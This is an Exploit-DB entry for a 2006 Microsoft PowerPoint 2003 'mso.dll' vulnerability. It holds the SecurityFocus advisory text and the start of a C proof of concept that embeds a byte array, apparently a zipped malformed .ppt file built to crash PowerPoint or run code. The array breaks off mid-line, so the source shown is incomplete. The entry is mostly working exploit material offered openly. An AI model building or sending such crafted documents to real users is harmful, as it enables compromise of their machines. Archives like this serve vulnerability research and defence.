Exploit-DB #28224
Description: Microsoft PowerPoint 2003 - 'mso.dll' '.PPT' Processing Code Execution
Type: remote
Platform: windows
Date: 2006-07-14
Author: naveed afzal

Exploit:
// source: https://www.securityfocus.com/bid/18993/info

Microsoft PowerPoint is prone to multiple remote vulnerabilities.

Three proof-of-concept exploit files designed to trigger vulnerabilities in PowerPoint have been released.

It is currently unknown if these three exploit files pertain to newly discovered, unpublished vulnerabilities or if they exploit previously disclosed issues. These issues may allow remote attackers to cause crashes or to execute arbitrary machine code in the context of the affected application, but this has not been confirmed.

This BID will be updated and potentially split into individual records as further analysis is completed.

Microsoft PowerPoint 2003 is vulnerable to these issues; other versions may also be affected.

/*-----------------------------------------------------------------------------------------
* MS Power Point mso.dll vulnerability
* similar to the first one but no : we land in mso.dll
* with a different situation :D :D
* some greetz goes to zeeshan , salman:)
* Tested against Power Point ' 03
* -- naveed
*---------------------------------------------------------------------------------------*/
#include <stdio.h>
unsigned char ms0_pp[] = {
	0x50, 0x4B, 0x03, 0x04, 0x14, 0x00, 0x00, 0x00, 0x08, 0x00, 0xA0,
0xA9, 0xEB, 0x34, 0xCF, 0x73,
	0x8B, 0xFD, 0xD3, 0x2D, 0x00, 0x00, 0x00, 0x8C, 0x00, 0x00, 0x07,
0x00, 0x00, 0x00, 0x6D, 0x73,
	0x30, 0x2E, 0x70, 0x70, 0x74, 0xEC, 0xDA, 0x09, 0x3C, 0x15, 0xEB,
0xFF, 0x07, 0xF0, 0x99, 0x39,
	0x64, 0xA9, 0x90, 0xB6, 0x2B, 0x64, 0x69, 0xD1, 0xBE, 0x4B, 0xB8,
0xA4, 0x14, 0x97, 0x44, 0xA9,
	0xA4, 0x55, 0xD1, 0x49, 0xB2, 0x2F, 0x91, 0xAD, 0x3D, 0xA5, 0xF5,
0x56, 0xD2, 0x82, 0xCA, 0xA5,
	0xDB, 0x42, 0x8B, 0xAB, 0x54, 0x2A, 0xDC, 0x2C, 0xED, 0xA8, 0x94,
0x50, 0x69, 0xD1, 0x76, 0x51,
	0xB4, 0x68, 0x21, 0xE7, 0xF7, 0xCC, 0x70, 0x3E, 0x0E, 0x11, 0xDD,
0xDB, 0x7D, 0xFD, 0x5E, 0xFF,
	0xD7, 0xEF, 0x3F, 0x5E, 0xDF, 0xCE, 0x3C, 0xEF, 0x73, 0xE6, 0x59,
0x66, 0xBE, 0xCF, 0xCC, 0x9C,
	0xE6, 0x64, 0x67, 0xB5, 0x7B, 0x18, 0x19, 0xD7, 0xE5, 0x11, 0xD5,
0x60, 0xD1, 0xA5, 0x78, 0x54,
	0xB5, 0x40, 0x8A, 0x6A, 0x25, 0x62, 0x74, 0x6D, 0x70, 0x8B, 0x1C,
0x45, 0x8D, 0xAE, 0x2D, 0x57,
	0x0B, 0x04, 0x02, 0x96, 0x46, 0x91, 0x10, 0xFC, 0xFF, 0xF2, 0x7F,
0x6A, 0xF9, 0x52, 0xFB, 0xCA,
	0x1E, 0x43, 0x31, 0x72, 0xFC, 0xC4, 0x49, 0xB0, 0xC7, 0x5C, 0x9F,
0x84, 0x24, 0x09, 0x29, 0x12,
	0xD2, 0x24, 0x5A, 0x93, 0x68, 0x43, 0xA2, 0x2D, 0x09, 0x19, 0x12,
0xB2, 0x35, 0x29, 0x40, 0xB5,
	0x23, 0x21, 0x4F, 0xA2, 0x3D, 0x89, 0x0E, 0x24, 0x3A, 0x92, 0xE8,
0x44, 0xA2, 0x33, 0x89, 0x9F,
	0x48, 0x28, 0x90, 0xE8, 0x42, 0x42, 0x91, 0x84, 0x12, 0x09, 0x65,
0x12, 0x5D, 0x49, 0xA8, 0x90,
	0x50, 0x25, 0xA1, 0x46, 0x42, 0x9D, 0x44, 0x37, 0x12, 0xDD, 0x6B,
0x73, 0xA9, 0x27, 0x79, 0xD5,
	0x20, 0xD1, 0x8B, 0x44, 0x6F, 0x12, 0x7D, 0x48, 0xF4, 0x25, 0xD1,
0x8F, 0x44, 0x7F, 0x12, 0x03,
	0x48, 0x0C, 0x24, 0x31, 0x88, 0xC4, 0x60, 0x12, 0x43, 0x48, 0x0C,
0x25, 0x31, 0x8C, 0x84, 0x26,
	0x89, 0xE1, 0x24, 0xB4, 0x48, 0x8C, 0x20, 0xA1, 0x4D, 0x42, 0x87,
0xCB, 0x67, 0x8A, 0xFA, 0x99,
	0x84, 0x5E, 0x6D, 0x1B, 0x6C, 0x18, 0xD4, 0xAE, 0xFF, 0x2F, 0x2F,
0x96, 0x94, 0x2B, 0xF9, 0xF3,
	0x22, 0xC7, 0x62, 0x2C, 0xE5, 0x42, 0x5E, 0x3D, 0x28, 0xDF, 0x86,
0xA7, 0x82, 0x6F, 0x2E, 0x9D,
	0x48, 0xC6, 0x08, 0xEB, 0x62, 0x73, 0x47, 0x6E, 0xE3, 0xF2, 0x79,
0x61, 0x16, 0x59, 0xED, 0x82,
	0xFE, 0xA2, 0x0E, 0x53, 0x67, 0x7A, 0xBF, 0x10, 0xFD, 0x6C, 0xCA,
0x22, 0xDF, 0x32, 0x7A, 0x7F,
	0x06, 0x3D, 0x86, 0xAC, 0x2F, 0x93, 0xAC, 0x31, 0x9A, 0x32, 0x24,
0xED, 0x3B, 0x53, 0x6E, 0x94,
	0x05, 0x65, 0x4B, 0x2D, 0xFC, 0xAE, 0xB6, 0xD9, 0x45, 0x9E, 0x62,
0xC8, 0x1F, 0x45, 0xB1, 0xB9,
	0xCB, 0xF6, 0xA1, 0xA5, 0xDB, 0x69, 0x53, 0xC2, 0xF6, 0x2D, 0x28,
0x27, 0x8A, 0xFF, 0xDD, 0xED,
	0x0A, 0x17, 0x69, 0xD2, 0xBA, 0xE8, 0xFE, 0x6C, 0xC9, 0x36, 0xEC,
0x39, 0xB3, 0x43, 0xED, 0xBA,
	0x21, 0xB5, 0x88, 0xEC, 0x73, 0x0F, 0xD2, 0x03, 0x17, 0xEE, 0x28,
0x4C, 0xA1, 0x3C, 0xC9, 0xBA,
	0x47, 0x8B, 0xDB, 0xEF, 0xF2, 0x37, 0xDA, 0x67, 0xF7, 0x57, 0xBF,
0xDA, 0x75, 0xE1, 0x5C, 0x68,
	0x38, 0xFF, 0x25, 0xA8, 0x7F, 0x6F, 0xFE, 0xB3, 0x6D, 0x89, 0xCE,
0xFF, 0xFF, 0xF5, 0x39, 0xF8,
	0xDF, 0x5C, 0x68, 0xB2, 0xF7, 0x79, 0xD2, 0x35, 0x73, 0xA7, 0xE1,
0xDC, 0x65, 0x8F, 0xED, 0xF8,
	0x49, 0xAA, 0x13, 0x5C, 0x7D, 0xF8, 0x1E, 0x13, 0x5C, 0x1D, 0x5C,
0xBC, 0x54, 0xB5, 0xB5, 0x1A,
	0xE6, 0x12, 0x5D, 0x93, 0x4E, 0xFF, 0x60, 0xA9, 0x90, 0xED, 0x5E,
0x9B, 0x3B, 0x36, 0x29, 0x5B,
	0x9E, 0x6C, 0x19, 0xC4, 0xE6, 0xD9, 0x3B, 0x1E, 0x8F, 0x94, 0x0D,
0x17, 0x79, 0x78, 0xF0, 0x49,
	0xAB, 0x53, 0x3C, 0xF9, 0x1E, 0x92, 0x4D, 0x6C, 0x6D, 0xA0, 0xD7,
0xA5, 0x2C, 0x9A, 0x24, 0x6C,
	0xE9, 0xF8, 0x78, 0xF6, 0x12, 0x40, 0xB9, 0xAB, 0x9B, 0xCC, 0xEB,
0xA4, 0x49, 0xA9, 0x3E, 0x34,
	0xAD, 0xFB, 0x8C, 0x9B, 0x2D, 0xB9, 0xB6, 0x90, 0x8B, 0xC2, 0x32,
0xE7, 0x75, 0xD4, 0x3E, 0x75,
	0x33, 0xCA, 0x83, 0x4D, 0xF0, 0xEA, 0xC5, 0xE1, 0xA5, 0xE1, 0xA3,
0x16, 0x84, 0x8F, 0xED, 0xB0,
	0xAC, 0xD0, 0x2C, 0xD1, 0xD9, 0xC9, 0xB2, 0xA3, 0xA2, 0xA9, 0xE1,
0x0C, 0x93, 0x6E, 0x09, 0xA6,
	0x63, 0xB6, 0xFE, 0x6E, 0x75, 0x3E, 0x7A, 0xAD, 0xA2, 0x94, 0x9A,
0xF8, 0x96, 0xAE, 0xF9, 0x93,
	0x9C, 0x62, 0x82, 0x6E, 0xEE, 0x36, 0x30, 0xD9, 0xE6, 0x68, 0x20,
0xAB, 0x6E, 0xED, 0xE1, 0xE8,
	0x2F, 0x2D, 0xD9, 0xBA, 0xEB, 0xCF, 0xD2, 0xA6, 0x97, 0xD4, 0x8A,
0x72, 0x56, 0x9E, 0x3A, 0xA8,
	0x35, 0xB6, 0x7C, 0x6B, 0x4F, 0x55, 0xF5, 0x15, 0x9D, 0xDD, 0x03,
0x5D, 0xED, 0xF7, 0x08, 0x0A,
	0x2E, 0x57, 0xDD, 0xDF, 0x55, 0x94, 0xE5, 0xB5, 0x5A, 0xF0, 0x67,
0x59, 0x75, 0xA0, 0xAB, 0xF7,
	0x83, 0x02, 0xAD, 0xC2, 0x6B, 0xC9, 0x9F, 0x04, 0x4B, 0xA3, 0xA8,
0x87, 0x7A, 0x97, 0x8A, 0x8A,
	0x65, 0x96, 0x0D, 0x88, 0x38, 0xBF, 0xE7, 0x8C, 0x74, 0xD9, 0x3D,
0xED, 0x65, 0x49, 0x37, 0x5A,
	0xBB, 0xD2, 0xBD, 0x3E, 0xFA, 0x2A, 0x3D, 0x94, 0xFF, 0xFC, 0x61,
0x54, 0x7C, 0xC0, 0xCA, 0xD7,
	0xC5, 0x46, 0x95, 0x85, 0x8B, 0xAB, 0x0E, 0x3D, 0xD1, 0x5D, 0x5B,
0xEA, 0x50, 0xFE, 0x59, 0xAA,
	0x72, 0x77, 0xE1,